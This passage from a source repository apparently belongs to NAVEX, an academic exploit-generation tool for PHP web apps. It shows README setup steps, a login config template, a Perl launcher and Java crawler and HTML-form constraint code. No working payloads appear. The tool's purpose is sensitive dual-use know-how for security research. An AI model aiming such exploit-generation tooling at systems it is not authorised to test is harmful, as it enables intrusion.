staticAnalysisSpec Directory. 47 | * create a file that resolves the inclusion relationships to find candidate URLs (used in Step 2 as described in the paper). The file will be in results/include_map_resolution_results.txt. Note, paths to the above directories are hardcoded and have to be changed before running the program. 48 | 49 | 50 | # Step 2: concrete exploit generation # 51 | Prerequisites: Deploy on a server (e.g., localhost) the applications that Step 1 found vulnerabilities in them (not all the applications that you have tested). Read more about this under "setup" in the evaluation section of our paper. 52 | Xdebug for trace generation is required too. We have used version 2.5.2 in our evaluation. Xdebug and its installation instructions are at https://xdebug.org/. 53 | In addition, Narcissus and spiderMonkey 1.8.5 JavaScript engine are required.Download spiderMonkey 1.8.5 JS engine from https://developer.mozilla.org/en-US/docs/Mozilla/Projects/SpiderMonkey/Releases/1.8.5 and build it. You can find the build instructions at 54 | https://developer.mozilla.org/en-US/docs/Mozilla/Projects/SpiderMonkey/Build_Documentation. Let $SpiderMonkey = the directory of the spiderMonkey 1.8.5 installation folder. Download our modified version of Narcissus JavaScript interpreter at https://github.com/aalhuz/narcissus and place the downloaded folder inside $SpiderMonkey/js. Finally, edit the path to narcissus folder inside "extractJSConstraints" function in https://github.com/aalhuz/navex/blob/master/src/Main.java. 55 | 56 | In this step, Navex crawls web applications to construct their navigation graphs (Neo4j graph). 57 | 58 | 59 | ## The Navigation graph setup ## 60 | - specify the name of the navigation graphthat we are about to construct in "org.neo4j.server.database.location" in $PATH_tO_YOUR_NEO4J_INSTALLATION/conf/neo4j-server.properties. 61 | For example: 62 | 63 | org.neo4j.server.database.location = "$YOUR_PATH_TO_BATCH_IMPORT/navigationGraph.db" 64 | 65 | Then, point to your Neo4J installation and start the server. 66 | 67 | 68 | ## Application crawling ## 69 | We have extended crawler4j in the fork https://github.com/aalhuz/crawler4j/tree/navex to allow for web forms and JavaScript reasoning. 70 | - To run the extended crawler and construct the Navigation Graph, edit "run.pl" in navex directory as explained in the script. Then, run "run.pl" as the following 71 | 72 | cd navex 73 | ./run.pl data 1 config/auth-appName.txt $SEED_URL 74 | 75 | config/auth-appName.txt is a file that you have to create to store login information for appName. A sample file is provided. $SEED_URL is the seed URL for the crawler (e.g., http://localhost/appName/index.php). While crawling the applications, nodes and edges will be added to the navigationGraph.db simultaneously. 76 | 77 | ## Concrete exploit generation ## 78 | To find navigation paths to exploit seeds. We have to traverse the Navigation graph using exploitFinding.py in our python-joern fork. This wrapper script invokes traversals that check the inclusion map (in results/include_map_resolution_results.txt), matches it with the exploit seeds (i.e., exploit strings), and finally outputs the concrete exploits in results/navigation_sequences.txt. 79 | 80 | cd python-joern 81 | python exploitFinding.py $ATTACK_TYPE 82 | For XSS, for instance, the $ATTACK_TYPE would be "xss" (python exploitFinding.py xss). 83 | 84 | -------------------------------------------------------------------------------- /config/auth-appName.txt: -------------------------------------------------------------------------------- 1 | username_used_for_login,password_used_for_login,http://localhost/appName/login.php?mode=login(URL of the login page),user(the name attribute in the login form that stores the username),passwd (the name attribute in the login form that stores the password) 2 | -------------------------------------------------------------------------------- /lib/crawler4j-4.4.0-SNAPSHOT-jar-with-dependencies.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aalhuz/navex/7769bc94fd6df025a0a7c2dd3ff18b39cc1d7e81/lib/crawler4j-4.4.0-SNAPSHOT-jar-with-dependencies.jar -------------------------------------------------------------------------------- /lib/filterbuilder.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aalhuz/navex/7769bc94fd6df025a0a7c2dd3ff18b39cc1d7e81/lib/filterbuilder.jar -------------------------------------------------------------------------------- /lib/htmllexer.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aalhuz/navex/7769bc94fd6df025a0a7c2dd3ff18b39cc1d7e81/lib/htmllexer.jar -------------------------------------------------------------------------------- /lib/htmlparser.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aalhuz/navex/7769bc94fd6df025a0a7c2dd3ff18b39cc1d7e81/lib/htmlparser.jar -------------------------------------------------------------------------------- /lib/jersey-client-1.19.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aalhuz/navex/7769bc94fd6df025a0a7c2dd3ff18b39cc1d7e81/lib/jersey-client-1.19.jar -------------------------------------------------------------------------------- /lib/jersey-core-1.19.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aalhuz/navex/7769bc94fd6df025a0a7c2dd3ff18b39cc1d7e81/lib/jersey-core-1.19.jar -------------------------------------------------------------------------------- /lib/sitecapturer.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aalhuz/navex/7769bc94fd6df025a0a7c2dd3ff18b39cc1d7e81/lib/sitecapturer.jar -------------------------------------------------------------------------------- /lib/thumbelina.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aalhuz/navex/7769bc94fd6df025a0a7c2dd3ff18b39cc1d7e81/lib/thumbelina.jar -------------------------------------------------------------------------------- /run.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | 3 | use File::Basename; 4 | $mypath = dirname($0); 5 | 6 | printf("mypath = $mypath\n"); 7 | $mem_min=32; 8 | $mem_max=10240; 9 | 10 | # edit the path of neo4j..../lib to your neo4j installation folder 11 | $classpath="${mypath}/../../neo4j-community-2.1.5/lib/*:${mypath}/lib/*:${classpath_separator}${mypath}/bin"; 12 | 13 | system("java -XX:+HeapDumpOnOutOfMemoryError -Dnavex.home=\"${mypath}\" -classpath \"${classpath}\" navex.Main @ARGV"); 14 | 15 | 16 | 17 | 18 | -------------------------------------------------------------------------------- /src/BasicCrawlController.java: -------------------------------------------------------------------------------- 1 | package navex; 2 | 3 | import java.io.File; 4 | import java.io.IOException; 5 | import java.net.MalformedURLException; 6 | import java.util.ArrayList; 7 | import java.util.List; 8 | import java.util.Map; 9 | 10 | import javax.activation.MimeTypeParseException; 11 | 12 | import org.apache.http.NameValuePair; 13 | import org.apache.http.client.ClientProtocolException; 14 | import org.apache.http.client.CookieStore; 15 | import org.apache.http.client.methods.CloseableHttpResponse; 16 | import org.apache.http.client.methods.HttpGet; 17 | import org.apache.http.client.protocol.HttpClientContext; 18 | import org.apache.http.cookie.Cookie; 19 | import org.apache.http.impl.client.BasicCookieStore; 20 | import org.apache.http.impl.client.CloseableHttpClient; 21 | import org.apache.http.impl.client.HttpClients; 22 | import org.apache.http.impl.cookie.BasicClientCookie; 23 | import org.apache.http.message.BasicNameValuePair; 24 | import org.htmlparser.tags.FormTag; 25 | 26 | /** 27 | * Licensed to the Apache Software Foundation (ASF) under one or more 28 | * contributor license agreements. See the NOTICE file distributed with 29 | * this work for additional information regarding copyright ownership. 30 | * The ASF licenses this file to You under the Apache License, Version 2.0 31 | * (the "License"); you may not use this file except in compliance with 32 | * the License. You may obtain a copy of the License at 33 | * 34 | * http://www.apache.org/licenses/LICENSE-2.0 35 | * 36 | * Unless required by applicable law or agreed to in writing, software 37 | * distributed under the License is distributed on an "AS IS" BASIS, 38 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 39 | * See the License for the specific language governing permissions and 40 | * limitations under the License. 41 | */ 42 | 43 | 44 | import org.slf4j.Logger; 45 | import org.slf4j.LoggerFactory; 46 | 47 | 48 | 49 | import edu.uci.ics.crawler4j.crawler.CrawlConfig; 50 | import edu.uci.ics.crawler4j.crawler.CrawlController; 51 | import edu.uci.ics.crawler4j.crawler.Page; 52 | import edu.uci.ics.crawler4j.crawler.authentication.AuthInfo; 53 | import edu.uci.ics.crawler4j.crawler.authentication.FormAuthInfo; 54 | import edu.uci.ics.crawler4j.fetcher.PageFetcher; 55 | import edu.uci.ics.crawler4j.robotstxt.RobotstxtConfig; 56 | import edu.uci.ics.crawler4j.robotstxt.RobotstxtServer; 57 | import edu.uci.ics.crawler4j.util.IO; 58 | import navex.formula.Trace; 59 | import navex.formula.TraceAnalysis; 60 | import navex.graphDatabase.NavigationDatabaseNode; 61 | import navex.graphDatabase.NeoGraphDatabase; 62 | import opennlp.tools.coref.mention.Parse; 63 | import navex.solver.DynamicSolver; 64 | import navex.solver.Solver; 65 | /** 66 | * @author Yasser Ganjisaffar 67 | * @modified by: Abeer Alhuzali 68 | */ 69 | public class BasicCrawlController { 70 | private static final Logger logger = LoggerFactory.getLogger(BasicCrawlController.class); 71 | 72 | public static CrawlConfig crawlerMain(String[] args, NeoGraphDatabase graph) throws Exception { 73 | if (args.length < 3) { 74 | logger.info("Needed parameters: "); 75 | logger.info("\t rootFolder (it will contain intermediate crawl data)"); 76 | logger.info("\t numberOfCralwers (number of concurrent threads)"); 77 | return null; 78 | } 79 | 80 | //authentication info is stored in a file 81 | String authFile = args[2]; 82 | 83 | ArrayList authList = IO.readAuthFile(authFile); 84 | 85 | String seed = args[3]; 86 | 87 | 88 | 89 | /* 90 | * crawlStorageFolder is a folder where intermediate crawl data is 91 | * stored. 92 | */ 93 | String crawlStorageFolder = args[0]; 94 | 95 | /* 96 | * numberOfCrawlers shows the number of concurrent threads that should 97 | * be initiated for crawling. 98 | */ 99 | int numberOfCrawlers = Integer.parseInt(args[1]); 100 | 101 | int i= 0;CrawlConfig config = null; 102 | while (i < authList.size()){ 103 | 104 | config = startCrawlling(crawlStorageFolder, numberOfCrawlers, authList.get(i), seed, graph ); 105 | i++; 106 | } 107 | 108 | 109 | return config; 110 | 111 | } 112 | 113 | 114 | 115 | 116 | public static CrawlConfig startCrawlling(String crawlStorageFolder, 117 | int numberOfCrawlers, String[] authList, String seed, NeoGraphDatabase graph){ 118 | 119 | CrawlConfig config = new CrawlConfig(); 120 | 121 | config.setCrawlStorageFolder(crawlStorageFolder); 122 | 123 | /* 124 | * Be polite: Make sure that we don't send more than 1 request per 125 | * second (1000 milliseconds between requests). 126 | */ 127 | // config.setPolitenessDelay(1000); 128 | 129 | /* 130 | * You can set the maximum crawl depth here. The default value is -1 for 131 | * unlimited depth 132 | */ 133 | config.setMaxDepthOfCrawling(20); 134 | 135 | /* 136 | * You can set the maximum number of pages to crawl. The default value 137 | * is -1 for unlimited number of pages 138 | */ 139 | config.setMaxPagesToFetch(1000); 140 | 141 | /** 142 | * Do you want crawler4j to crawl also binary data ? 143 | * example: the contents of pdf, or the metadata of images etc 144 | */ 145 | config.setIncludeBinaryContentInCrawling(false); 146 | 147 | /* 148 | * Do you need to set a proxy? If so, you can use: 149 | * config.setProxyHost("proxyserver.example.com"); 150 | * config.setProxyPort(8080); 151 | * 152 | * If your proxy also needs authentication: 153 | * config.setProxyUsername(username); config.getProxyPassword(password); 154 | */ 155 | /* 156 | * This config parameter can be used to set your crawl to be resumable 157 | * (meaning that you can resume the crawl from a previously 158 | * interrupted/crashed crawl). Note: if you enable resuming feature and 159 | * want to start a fresh crawl, you need to delete the contents of 160 | * rootFolder manually. 161 | */ 162 | config.setResumableCrawling(false); 163 | 164 | if (authList != null){ 165 | FormAuthInfo auth; 166 | ArrayList nvl = null; 167 | try { 168 | if (authList.length > 5 ) 169 | { 170 | for (int i = authList.length ; i > 5 ;i=i-2){ 171 | if (nvl == null) 172 | nvl= new ArrayList(); 173 | NameValuePair nv = new BasicNameValuePair(authList[i-2],authList[i-1]); 174 | nvl.add(nv); 175 | } 176 | } 177 | auth = new FormAuthInfo 178 | (authList[0],authList[1],authList[2],authList[3],authList[4], nvl); 179 | 180 | CrawlConfig.setRole(authList[0]+","+authList[1]); 181 | 182 | HttpClientContext context = HttpClientContext.create(); 183 | BasicCookieStore cookieStore = new BasicCookieStore(); 184 | context.setCookieStore(cookieStore); 185 | 186 | config.addAuthInfo(auth); 187 | 188 | 189 | 190 | } catch (MalformedURLException e) { 191 | e.printStackTrace(); 192 | } 193 | 194 | } 195 | 196 | 197 | 198 | /* 199 | * Instantiate the controller for this crawl. 200 | */ 201 | PageFetcher pageFetcher = new PageFetcher(config); 202 | RobotstxtConfig robotstxtConfig = new RobotstxtConfig(); 203 | RobotstxtServer robotstxtServer = new RobotstxtServer(robotstxtConfig, pageFetcher); 204 | CrawlController controller= null; 205 | try { 206 | 207 | controller = new CrawlController(config, pageFetcher, robotstxtServer); 208 | } catch (Exception e1) { 209 | // TODO Auto-generated catch block 210 | e1.printStackTrace(); 211 | } 212 | 213 | 214 | 215 | 216 | /* 217 | * For each crawl, you need to add some seed urls. These are the first 218 | * URLs that are fetched and then the crawler starts following links 219 | * which are found in these pages 220 | */ 221 | controller.addSeed(seed); 222 | //controller.addSeed("http://www.ics.uci.edu/~lopes/"); 223 | //controller.addSeed("http://www.ics.uci.edu/~welling/"); 224 | 225 | /* 226 | * Start the crawl. This is a blocking operation, meaning that your code 227 | * will reach the line after this only when crawling is finished. 228 | */ 229 | controller.start(CrawlerFilter.class, numberOfCrawlers); 230 | logger.info("Crawler 1 is finished."); 231 | 232 | 233 | 234 | /*After crawlling the whole application and creating the db graph 235 | from only http links. We will process now the forms (stage 2) 236 | */ 237 | startCreatingDB(graph); 238 | 239 | 240 | return config; 241 | 242 | } 243 | 244 | 245 | public static String getCookieValue(CookieStore cookieStore, String cookieName) { 246 | String value = null; 247 | for (Cookie cookie: cookieStore.getCookies()) { 248 | if (cookie.getName().equals(cookieName)) { 249 | value = cookie.getValue(); 250 | } 251 | } 252 | return value; 253 | } 254 | 255 | 256 | private static void startCreatingDB(NeoGraphDatabase graph) { 257 | logger.info("Start Building the navigation graph ......\n"); 258 | 259 | 260 | for (Page page :CrawlerFilter.getAllPages()) 261 | graph.StartNeoDb(page, null, "link", null, null); 262 | 263 | 264 | graph.addLinksStart(); 265 | } 266 | 267 | 268 | } 269 | -------------------------------------------------------------------------------- /src/CrawlerFilter.java: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | * @modified by: Abeer Alhuzali 4 | * For more information, please read "NAVEX: Precise and Scalable Exploit Generation for Dynamic Web Applications" 5 | * 6 | */ 7 | 8 | package navex; 9 | 10 | 11 | import edu.uci.ics.crawler4j.crawler.*; 12 | import edu.uci.ics.crawler4j.parser.HtmlParseData; 13 | import edu.uci.ics.crawler4j.url.*; 14 | 15 | import java.util.regex.Pattern; 16 | 17 | import org.apache.http.Header; 18 | 19 | import java.util.ArrayList; 20 | import java.util.HashSet; 21 | import java.util.Set; 22 | 23 | 24 | public class CrawlerFilter extends WebCrawler { 25 | 26 | private static HashSet allPages = new HashSet(); 27 | private static HashSet allForms = new HashSet(); 28 | 29 | 30 | public static HashSet getAllForms() { 31 | return allForms; 32 | } 33 | 34 | 35 | public static void setAllForms(HashSet allForms) { 36 | CrawlerFilter.allForms = allForms; 37 | } 38 | 39 | public static void addToAllForms(Set forms) { 40 | CrawlerFilter.allForms.addAll(forms) ; 41 | } 42 | 43 | 44 | public static HashSet getAllPages() { 45 | return allPages; 46 | } 47 | 48 | 49 | public static void addPage(Page p) { 50 | CrawlerFilter.allPages.add(p); 51 | } 52 | 53 | public static void resetPages(){ 54 | CrawlerFilter.allPages = new HashSet(); 55 | } 56 | private final static Pattern FILTERS = Pattern.compile(".*(\\.(css|js|gif|jpg" 57 | + "|png|mp3|zip|gz|com|net|it|org|html|htm)).*$"); 58 | 59 | private final static Pattern FILTERS1 = Pattern.compile(".*(\\.(php|inc)).*$"); 60 | 61 | 62 | //links that logges out should be ignored too 63 | //Change this as needed. 64 | @Override 65 | public boolean shouldVisit(Page referringPage, WebURL url) { 66 | String href = url.getURL().toLowerCase(); 67 | return (FILTERS1.matcher(href).matches() 68 | || href.startsWith("http://localhost/") 69 | || href.startsWith("http://192.168.0.123/") ) 70 | && !FILTERS.matcher(href).matches() 71 | && !href.equals("http://localhost/mybloggie/admin.php?select=logoff"); 72 | 73 | 74 | } 75 | 76 | 77 | /** 78 | * This function is called when a page is fetched and ready to be processed 79 | * by your program. 80 | */ 81 | @Override 82 | public void visit(Page page) { 83 | addPage(page); 84 | int docid = page.getWebURL().getDocid(); 85 | String url = page.getWebURL().getURL(); 86 | String domain = page.getWebURL().getDomain(); 87 | String path = page.getWebURL().getPath(); 88 | String subDomain = page.getWebURL().getSubDomain(); 89 | String parentUrl = page.getWebURL().getParentUrl(); 90 | String anchor = page.getWebURL().getAnchor(); 91 | 92 | logger.debug("Docid: {}", docid); 93 | logger.info("URL: {}", url); 94 | logger.debug("Domain: '{}'", domain); 95 | logger.debug("Sub-domain: '{}'", subDomain); 96 | logger.debug("Path: '{}'", path); 97 | logger.debug("Parent page: {}", parentUrl); 98 | logger.debug("Anchor text: {}", anchor); 99 | 100 | if (page.getParseData() instanceof HtmlParseData) { 101 | HtmlParseData htmlParseData = (HtmlParseData) page.getParseData(); 102 | String text = htmlParseData.getText(); 103 | String html = htmlParseData.getHtml(); 104 | 105 | Set links = htmlParseData.getOutgoingUrls(); 106 | Set forms = htmlParseData.getForms(); 107 | if (forms != null) 108 | {System.out.println("Collected forms are "+ forms.size() ); 109 | addToAllForms(forms); 110 | } 111 | 112 | logger.debug("Text length: {}", text.length()); 113 | logger.debug("Html length: {}", html.length()); 114 | logger.debug("Number of outgoing links: {}"+ links.size()); 115 | System.out.println("outgoing links: "+links.toString()); 116 | } 117 | 118 | Header[] responseHeaders = page.getFetchResponseHeaders(); 119 | if (responseHeaders != null) { 120 | logger.debug("Response headers:"); 121 | for (Header header : responseHeaders) { 122 | logger.debug("\t{}: {}", header.getName(), header.getValue()); 123 | } 124 | } 125 | 126 | logger.debug("============="); 127 | } 128 | 129 | 130 | } 131 | 132 | -------------------------------------------------------------------------------- /src/HTMLForm.java: -------------------------------------------------------------------------------- 1 | package navex; 2 | 3 | 4 | import java.io.IOException; 5 | import java.util.ArrayList; 6 | import java.util.HashMap; 7 | import java.util.HashSet; 8 | import java.util.Hashtable; 9 | import java.util.Map.Entry; 10 | import javax.activation.MimeTypeParseException; 11 | 12 | import org.htmlparser.visitors.TagFindingVisitor; 13 | 14 | import navex.formula.Formula; 15 | import navex.formula.InferType; 16 | 17 | import org.htmlparser.tags.*; 18 | 19 | import org.htmlparser.tags.FormTag; 20 | 21 | import org.htmlparser.Node; 22 | 23 | /* 24 | * @author: Abeer Alhuzali and NoTamper. 25 | * For more information, please read "NAVEX: Precise and Scalable Exploit Generation for Dynamic Web Applications" 26 | * 27 | */ 28 | 29 | public class HTMLForm { 30 | 31 | private Node form; 32 | 33 | public int formId; 34 | public String formName; 35 | public String fileName; 36 | 37 | private String url; // where we extracted the form from 38 | /* 39 | * from notamper 40 | */ 41 | // document object (DOM) representation of the form 42 | public String domRepresentation; 43 | 44 | // window object's (top level browser window) representation of the page 45 | public String windowRepresentation; 46 | 47 | // define helper functions to enable symbolic execution e.g., alert 48 | private String helperFuns; 49 | 50 | // form specific JavaScript to validate input controls 51 | public String jsValidation; 52 | 53 | // JavaScript common to all forms, executed when page is loaded 54 | // this may initialize execution environment for the form validation script 55 | public String commonJS; 56 | // set this to true for using new Formula extractor and JS engine 57 | // with older (NoTamper) version of solver. 58 | public static boolean NEW_FE_JS_OLDER_SOLVER = true; 59 | 60 | 61 | 62 | 63 | private HashSet z3FormFormulas; 64 | public Node getForm() { 65 | return form; 66 | } 67 | 68 | public void setForm(Node form) { 69 | this.form = form; 70 | } 71 | 72 | public int getFormId() { 73 | return formId; 74 | } 75 | 76 | public void setFormId(int formId) { 77 | this.formId = formId; 78 | } 79 | 80 | public String getFormName() { 81 | return formName; 82 | } 83 | 84 | public void setFormName(String formName) { 85 | this.formName = formName; 86 | } 87 | 88 | public String getFileName() { 89 | return fileName; 90 | } 91 | 92 | public void setFileName(String fileName) { 93 | this.fileName = fileName; 94 | } 95 | 96 | public String getUrl() { 97 | return url; 98 | } 99 | 100 | public void setUrl(String url) { 101 | this.url = url; 102 | } 103 | 104 | public HashSet getZ3FormFormulas() { 105 | return z3FormFormulas; 106 | } 107 | 108 | public void setZ3FormFormulas(HashSet z3FormFormulas) { 109 | this.z3FormFormulas = z3FormFormulas; 110 | } 111 | 112 | 113 | 114 | private static int formCounter = 1; 115 | 116 | public HTMLForm(Node form, String url, String commonJS) { 117 | this.form = form; 118 | 119 | this.formName = ((FormTag) form).getFormName(); 120 | if (this.formName == null) 121 | this.formName = "form_"+Integer.toString(formCounter); 122 | this.url = url; 123 | this.z3FormFormulas = new HashSet(); 124 | 125 | this.commonJS = commonJS; 126 | this.jsValidation = new String(""); 127 | this.domRepresentation = new String(); 128 | this.windowRepresentation = new String(); 129 | this.helperFuns = new String(); 130 | 131 | } 132 | 133 | @Override 134 | public String toString() { 135 | return "HTMLForm [form=" + ((FormTag)this.form).extractFormLocn() + ", formId=" + formId + ", formName=" + formName + ", url=" + url + ", z3formulas=" + this.getZ3FormFormulas() + "]"; 136 | } 137 | 138 | 139 | 140 | /* 141 | * output HTML constraints in Z3 solver formate 142 | * returns any extra copy of the form if there is more than one submit bottons. 143 | */ 144 | 145 | public HashSet processInputsForZ3() throws IOException, MimeTypeParseException{ 146 | 147 | 148 | Hashtable> domains = new Hashtable>(); 149 | 150 | Hashtable> domainsDropDown = new Hashtable>(); 151 | Hashtable arrayCounters = new Hashtable(); 152 | ArrayList keys = new ArrayList(); 153 | 154 | 155 | FormTag form2 = (FormTag) form; 156 | String formName = this.formName; 157 | domRepresentation = ("// DOM Simulation\n"); 158 | domRepresentation += ("function DOM()\n{\n"); 159 | domRepresentation += ("\tvar " + formName + " = new Object();\n\n"); 160 | 161 | 162 | String[] tags = { "input", "select", "textarea"}; 163 | TagFindingVisitor tfv = new TagFindingVisitor(tags); 164 | form.accept(tfv); 165 | Node[] inputs = tfv.getTags(0); 166 | Node[] selects = tfv.getTags(1); 167 | Node[] textareas = tfv.getTags(2); 168 | 169 | System.out.println("form inputs name size :"+inputs.length); 170 | 171 | 172 | HashMap submits = new HashMap(); 173 | 174 | for (Node n : inputs) { 175 | InputTag input = (InputTag) n; 176 | String id = input.getAttribute("id"); 177 | String name = input.getAttribute("name"); 178 | String type = input.getAttribute("type"); 179 | String disabled = input.getAttribute("disabled"); 180 | 181 | if (name != null && name.contains("[]")) { 182 | String namePref = name.replace("[]", ""); 183 | Integer counter = arrayCounters.get(namePref); 184 | if (counter == null) 185 | counter = new Integer(0); 186 | else 187 | counter = new Integer(counter.intValue() + 1); 188 | name = namePref + "[" + counter.intValue() + "]"; 189 | arrayCounters.put(namePref, counter); 190 | } 191 | 192 | if (id != null && type != null && !type.equalsIgnoreCase("radio") 193 | && !type.equalsIgnoreCase("checkbox") 194 | && !type.equalsIgnoreCase("select") 195 | && !type.equalsIgnoreCase("file")) { 196 | domRepresentation += ("\t" + id + " = new Object();\n"); 197 | if(HTMLForm.NEW_FE_JS_OLDER_SOLVER == true){ 198 | domRepresentation += ("\t" + id + ".value = '?" + name + "_notamper_symbolic';\n"); 199 | } else { 200 | domRepresentation += ("\t" + id + ".value = '(post \"" + name + "_notamper_symbolic\")';\n"); 201 | } 202 | domRepresentation += ("\t" + formName + "." + id + " = " + id + ";\n\n"); 203 | } 204 | 205 | 206 | if (disabled != null && disabled.equalsIgnoreCase("disabled")) 207 | continue; 208 | 209 | if (type == null){ 210 | 211 | String maxLen = input.getAttribute("maxlength"); 212 | String size = input.getAttribute("size"); 213 | String value = input.getAttribute("value"); 214 | 215 | ArrayList nameList = new ArrayList(); 216 | nameList.add(name); 217 | 218 | if (maxLen != null && !maxLen.isEmpty()){ 219 | Formula f= new Formula (nameList, maxLen, "maxlen", "form-"+type , "FORM"); 220 | 221 | this.z3FormFormulas.add(f); 222 | } 223 | else if (size != null && !size.isEmpty()){ 224 | 225 | Formula f= new Formula (nameList, size, "maxlen", "form-"+type , "FORM"); 226 | this.z3FormFormulas.add(f); 227 | } 228 | else { 229 | Formula f = new Formula(nameList, "0" , "minlen", "form-"+type, "FORM"); 230 | this.z3FormFormulas.add(f); 231 | } 232 | if(value != null && !value.isEmpty()){ 233 | Formula f = new Formula(nameList, "\""+value+"\"" , "=", "form-"+type, "FORM"); 234 | this.z3FormFormulas.add(f); 235 | } 236 | } 237 | 238 | else if ( type.equalsIgnoreCase("reset") 239 | || type.equalsIgnoreCase("button")) 240 | continue; 241 | 242 | else if(type.equalsIgnoreCase("submit")){ 243 | if(name == null) 244 | continue; 245 | String value = input.getAttribute("value"); 246 | 247 | ArrayList nameList= new ArrayList(); 248 | nameList.add(name); 249 | Formula f= new Formula (nameList, "\""+value+"\"", "=", "form-"+type, "FORM" ); 250 | 251 | submits.put(n, f); 252 | continue; 253 | } 254 | 255 | else if (type.equalsIgnoreCase("hidden")) { 256 | String value = input.getAttribute("value"); 257 | 258 | // TODO: check infer type of value 259 | //TODO: for now I will consider this as string always. 260 | String sType = InferType.inferType(value); 261 | 262 | 263 | value = (value == null || value.isEmpty()) ? "\"\"" : "\"" 264 | + value + "\""; 265 | 266 | ArrayList nameList= new ArrayList(); 267 | nameList.add(name); 268 | Formula f= new Formula (nameList, value, "=", "form-"+type, "FORM" ); 269 | this.z3FormFormulas.add(f); 270 | 271 | 272 | } else if (type.equalsIgnoreCase("text") 273 | || type.equalsIgnoreCase("password") ) { 274 | String maxLen = input.getAttribute("maxlength"); 275 | String size = input.getAttribute("size"); 276 | String value = input.getAttribute("value"); 277 | 278 | ArrayList nameList = new ArrayList(); 279 | nameList.add(name); 280 | 281 | if (maxLen != null && !maxLen.isEmpty()){ 282 | Formula f= new Formula (nameList, maxLen, "maxlen", "form-"+type , "FORM"); 283 | 284 | this.z3FormFormulas.add(f); 285 | } 286 | else if (size != null && !size.isEmpty()){ 287 | 288 | Formula f= new Formula (nameList, size, "maxlen", "form-"+type , "FORM"); 289 | this.z3FormFormulas.add(f); 290 | } 291 | else { 292 | Formula f = new Formula(nameList, "0" , "minlen", "form-"+type, "FORM"); 293 | this.z3FormFormulas.add(f); 294 | } 295 | if(value != null && !value.isEmpty()){ 296 | Formula f = new Formula(nameList, "\""+value+"\"" , "=", "form-"+type, "FORM"); 297 | this.z3FormFormulas.add(f); 298 | } 299 | 300 | 301 | 302 | domRepresentation += ("\tvar " + name + " = new Object();\n"); 303 | if(HTMLForm.NEW_FE_JS_OLDER_SOLVER == true){ 304 | domRepresentation += ("\t" + name + ".value = '?" + name + "_notamper_symbolic';\n"); 305 | } else { 306 | domRepresentation += ("\t" + name + ".value = '(post \"" + name + "_notamper_symbolic\")';\n"); 307 | } 308 | domRepresentation += ("\t" + formName + "." + name + " = " 309 | + name + ";\n\n"); 310 | 311 | 312 | } else if (type.equalsIgnoreCase("file")) { 313 | 314 | } else if (type.equalsIgnoreCase("radio") 315 | || type.equalsIgnoreCase("checkbox")) { 316 | 317 | String value = input.getAttribute("value"); 318 | 319 | if(value != null && name != null){ 320 | ArrayList domain = domains.get(name); 321 | if (domain == null) { 322 | domain = new ArrayList(); 323 | keys.add(name); 324 | } 325 | domain.add(value); 326 | domains.put(name, domain); 327 | 328 | } 329 | 330 | if(id != null){ 331 | domRepresentation += ("\tvar " + id + " = new Object();\n"); 332 | if(HTMLForm.NEW_FE_JS_OLDER_SOLVER == true){ 333 | domRepresentation += 334 | ("\t" + id + ".checked = '?" + name + "_notamper_symbolic';\n"); 335 | domRepresentation += 336 | ("\t" + id + ".value = '?" + name + "_notamper_symbolic';\n"); 337 | } else { 338 | domRepresentation += 339 | ("\t" + id + ".checked = '(post \"" + name + "_notamper_symbolic\")';\n"); 340 | domRepresentation += 341 | ("\t" + id + ".value = '(post \"" + name + "_notamper_symbolic\")';\n"); 342 | } 343 | domRepresentation += ("\t" + formName + "." + id + " = " + id + ";\n\n"); 344 | } else if(name != null){ 345 | String s = "\tvar " + name + " = new Object();\n"; 346 | if(domRepresentation.indexOf(s) < 0){ 347 | domRepresentation += s; 348 | if(HTMLForm.NEW_FE_JS_OLDER_SOLVER == true){ 349 | domRepresentation += 350 | ("\t" + name + ".checked = '?" + name + "_notamper_symbolic';\n"); 351 | //("\t" + name + ".checked = '\"= (post \"" + name + "_notamper_symbolic\") \"" + 352 | // (value == null ? "on" : value) + "\"';\n"); 353 | domRepresentation += 354 | ("\t" + name + ".value = '?" + name + "_notamper_symbolic';\n"); 355 | //("\t" + name + ".value = '\"= (post \"" + name + "_notamper_symbolic\") \"" + 356 | // (value == null ? "on" : value) + "\"';\n"); 357 | } else { 358 | domRepresentation += 359 | ("\t" + name + ".checked = '(post \"" + name + "_notamper_symbolic\")';\n"); 360 | domRepresentation += 361 | ("\t" + name + ".value = '(post \"" + name + "_notamper_symbolic\")';\n"); 362 | } 363 | domRepresentation += ("\t" + formName + "." + name + " = " + name + ";\n\n"); 364 | } 365 | } 366 | 367 | 368 | } 369 | 370 | } //end for 371 | 372 | if (!domains.isEmpty()){ 373 | for (Entry> map: domains.entrySet()){ 374 | //the formula her is reversed. It should be (key, list, or). 375 | Formula f = new Formula(map.getValue(), map.getKey(), "or", "form-radio-checkbox", "FORM"); 376 | this.z3FormFormulas.add(f); 377 | } 378 | } 379 | 380 | 381 | String[] optionTag = { "option" }; 382 | for (Node n : selects) { 383 | SelectTag select = (SelectTag) n; 384 | OptionTag option; 385 | String name = select.getAttribute("name"); 386 | String id = select.getAttribute("id"); 387 | 388 | 389 | if (name == null) 390 | continue; 391 | 392 | ArrayList domain = new ArrayList(); 393 | tfv = new TagFindingVisitor(optionTag); 394 | n.accept(tfv); 395 | Node[] options = tfv.getTags(0); 396 | domRepresentation += ("\tvar options = new Array();\n"); 397 | 398 | int i = 0; 399 | for (Node m : options) { 400 | option = (OptionTag) m; 401 | String value = option.getAttribute("value"); 402 | domain.add(value); 403 | String selected = option.getAttribute("selected"); 404 | 405 | 406 | if(HTMLForm.NEW_FE_JS_OLDER_SOLVER == true){ 407 | domRepresentation += ("\toptions[" + i + "].selected = '= ?" 408 | + name + "_notamper_symbolic \\'" + value + "\\'';\n"); 409 | } else { 410 | domRepresentation += ("\toptions[" + i + "].selected = '= (post \"" 411 | + name + "_notamper_symbolic\") \\'" + value + "\\'';\n"); 412 | } 413 | 414 | i++; 415 | } 416 | // TODO: check 